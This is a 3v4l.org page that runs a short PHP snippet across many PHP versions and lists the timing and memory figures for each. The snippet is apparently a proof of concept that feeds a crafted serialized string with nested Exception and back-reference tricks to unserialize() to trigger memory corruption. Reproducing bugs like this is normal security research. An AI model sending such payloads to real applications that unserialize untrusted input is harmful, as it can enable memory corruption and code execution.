3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:1:{i:0;a:0:{}}}i:1;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0190.00316.50
8.3.50.0120.00921.20
8.3.40.0110.00718.58
8.3.30.0060.00918.71
8.3.20.0080.00020.34
8.3.10.0040.00423.52
8.3.00.0000.00819.69
8.2.180.0120.00318.31
8.2.170.0140.00722.96
8.2.160.0140.00020.52
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0080.00026.16
8.2.120.0060.00317.50
8.2.110.0040.00420.46
8.2.100.0080.00317.72
8.2.90.0040.00419.09
8.2.80.0040.00417.97
8.2.70.0000.00817.38
8.2.60.0030.00617.93
8.2.50.0000.00818.07
8.2.40.0000.00819.03
8.2.30.0060.00319.83
8.2.20.0040.00417.71
8.2.10.0040.00418.09
8.2.00.0050.00218.04
8.1.280.0070.00725.92
8.1.270.0040.00420.33
8.1.260.0030.00526.35
8.1.250.0000.00828.09
8.1.240.0090.00023.83
8.1.230.0080.00320.85
8.1.220.0080.00017.74
8.1.210.0000.00818.77
8.1.200.0060.00317.35
8.1.190.0040.00417.10
8.1.180.0090.00018.10
8.1.170.0090.00018.53
8.1.160.0000.00822.04
8.1.150.0040.00418.83
8.1.140.0080.00017.51
8.1.130.0030.00317.66
8.1.120.0000.00817.44
8.1.110.0040.00417.41
8.1.100.0050.00317.44
8.1.90.0020.00517.43
8.1.80.0040.00417.45
8.1.70.0050.00217.34
8.1.60.0050.00317.42
8.1.50.0050.00317.57
8.1.40.0050.00317.57
8.1.30.0030.00617.61
8.1.20.0060.00317.58
8.1.10.0000.00917.64
8.1.00.0080.00017.54
8.0.300.0070.00018.77
8.0.290.0050.00316.63
8.0.280.0070.00018.43
8.0.270.0000.00717.24
8.0.260.0040.00717.30
8.0.250.0060.00316.94
8.0.240.0030.00316.96
8.0.230.0040.00416.91
8.0.220.0000.01017.01
8.0.210.0040.00416.92
8.0.200.0030.00317.05
8.0.190.0060.00317.03
8.0.180.0050.00317.04
8.0.170.0000.00816.99
8.0.160.0000.00816.89
8.0.150.0070.00017.03
8.0.140.0070.00016.92
8.0.130.0000.00613.46
8.0.120.0040.00416.99
8.0.110.0040.00416.91
8.0.100.0040.00416.97
8.0.90.0040.00416.89
8.0.80.0000.01416.89
8.0.70.0040.00416.86
8.0.60.0070.00016.72
8.0.50.0040.00416.87
8.0.30.0110.00817.16
8.0.20.0070.01517.40
8.0.10.0000.00716.95
8.0.00.0120.00816.83
7.4.330.0040.00415.08
7.4.320.0030.00316.62
7.4.300.0000.00716.65
7.4.290.0040.00416.61
7.4.280.0030.00616.47
7.4.270.0070.00016.62
7.4.260.0000.00716.52
7.4.250.0050.00216.57
7.4.240.0010.00616.50
7.4.230.0000.00716.43
7.4.220.0090.00916.45
7.4.210.0090.00816.65
7.4.200.0030.00316.57
7.4.160.0080.00816.41
7.4.150.0060.01117.40
7.4.140.0090.01117.86
7.4.130.0100.01116.40
7.4.120.0070.01116.45
7.4.110.0140.00316.41
7.4.100.0190.00316.39
7.4.90.0120.00616.76
7.4.80.0090.00919.39
7.4.70.0130.00316.40
7.4.60.0100.00716.51
7.4.50.0060.00316.71
7.4.40.0090.00816.58
7.4.30.0090.00916.54
7.4.00.0060.01215.15
7.3.330.0000.00613.17
7.3.320.0000.00513.41
7.3.310.0040.00416.37
7.3.300.0000.00716.32
7.3.290.0000.00816.39
7.3.280.0080.01116.40
7.3.270.0070.01317.40
7.3.260.0100.00716.43
7.3.250.0110.02016.62
7.3.240.0060.01316.40
7.3.230.0060.01216.45
7.3.210.0130.00316.46
7.3.200.0080.00816.45
7.3.190.0100.00616.30
7.3.180.0030.01316.42
7.3.170.0090.00616.61
7.3.160.0090.00916.36
7.2.330.0100.00616.65
7.2.320.0130.00616.53
7.2.310.0100.00716.45
7.2.300.0030.01416.63
7.2.290.0070.01316.53
7.2.80.0040.00916.65
7.2.60.0000.01416.75
7.2.00.0060.01219.27
7.1.200.0090.00615.68
7.1.100.0040.00818.12
7.1.70.0000.00717.13
7.1.60.0000.01119.27
7.1.50.0100.01317.09
7.1.00.0000.08022.36
7.0.200.0200.00416.52
7.0.100.0270.05720.00
7.0.90.0030.08719.95
7.0.80.0030.09019.91
7.0.70.0130.08019.89
7.0.60.0070.07720.06
7.0.50.0170.07720.39
7.0.40.0070.04720.02
7.0.30.0070.04020.05
7.0.20.0070.04020.09
7.0.10.0070.05319.94
7.0.00.0100.06720.10
5.6.250.0070.08020.59
5.6.240.0070.04020.70
5.6.230.0130.05020.71
5.6.220.0130.07720.68
5.6.210.0100.07320.55
5.6.200.0100.07021.00
5.6.190.0100.07721.03
5.6.180.0070.04021.14
5.6.170.0030.04321.01
5.6.160.0070.08021.02
5.6.150.0170.05721.02
5.6.140.0100.05721.08
5.6.130.0070.06721.00
5.6.120.0100.06021.02
5.6.110.0030.06321.09
5.6.100.0130.08320.92
5.6.90.0030.10020.94
5.6.80.0100.06320.39
5.6.70.0030.08320.42
5.6.60.0030.05720.48
5.6.50.0100.07720.52
5.6.40.0030.04320.44
5.6.30.0030.03720.48
5.6.20.0030.04020.33
5.6.10.0030.07320.30
5.6.00.0170.07020.39
5.5.380.0130.03320.40
5.5.370.0000.04720.57
5.5.360.0030.08020.56
5.5.350.0130.04320.46
5.5.340.0100.08320.93
5.5.330.0100.04720.92
5.5.320.0030.04320.78
5.5.310.0030.08320.93
5.5.300.0030.07320.76
5.5.290.0030.04020.64
5.5.280.0130.03720.77
5.5.270.0000.04720.72
5.5.260.0030.05020.76
5.5.250.0130.05720.64
5.5.240.0030.05020.32
5.5.230.0070.04720.31
5.5.220.0100.04020.20
5.5.210.0030.08720.14
5.5.200.0100.07020.28
5.5.190.0100.03720.04
5.5.180.0070.05320.29
5.5.160.0070.07720.09
5.5.150.0070.07320.08
5.5.140.0070.07320.07
5.5.130.0070.03320.25
5.5.120.0030.05020.08
5.5.110.0130.06720.25
5.5.100.0000.04320.10
5.5.90.0000.06020.09
5.5.80.0030.07720.07
5.5.70.0030.04019.94
5.5.60.0030.04020.15
5.5.50.0000.08319.93
5.5.40.0100.03320.03
5.5.30.0070.05319.93
5.5.20.0070.06720.09
5.5.10.0030.08720.04
5.5.00.0030.06019.96
5.4.450.0070.05719.36
5.4.440.0070.08719.19
5.4.430.0030.04019.46
5.4.420.0070.08719.27
5.4.410.0070.06719.32
5.4.400.0100.03018.85
5.4.390.0000.05019.03
5.4.380.0100.06018.95
5.4.370.0000.09019.03
5.4.360.0000.04019.13
5.4.350.0170.05019.12
5.4.340.0030.07319.21
5.4.320.0030.07319.03
5.4.310.0030.07319.21
5.4.300.0030.04318.89
5.4.290.0070.07319.17
5.4.280.0130.04319.09
5.4.270.0100.03019.23
5.4.260.0070.07318.90
5.4.250.0100.06719.03
5.4.240.0100.03318.95
5.4.230.0000.06719.02
5.4.220.0000.05019.02
5.4.210.0130.05719.18
5.4.200.0030.07018.84
5.4.190.0030.07019.08
5.4.180.0100.04018.87
5.4.170.0070.06318.93
5.4.160.0000.06018.93
5.4.150.0030.07019.00
5.4.140.0070.03316.34
5.4.130.0070.07316.42
5.4.120.0070.03016.42
5.4.110.0100.07316.48
5.4.100.0030.05316.49
5.4.90.0100.06716.33
5.4.80.0070.07716.39
5.4.70.0070.06316.32
5.4.60.0070.05016.34
5.4.50.0030.04316.46
5.4.40.0000.06316.41
5.4.30.0030.03316.25
5.4.20.0000.03716.30
5.4.10.0070.05716.38
5.4.00.0030.05715.78

preferences:
41.2 ms | 401 KiB | 5 Q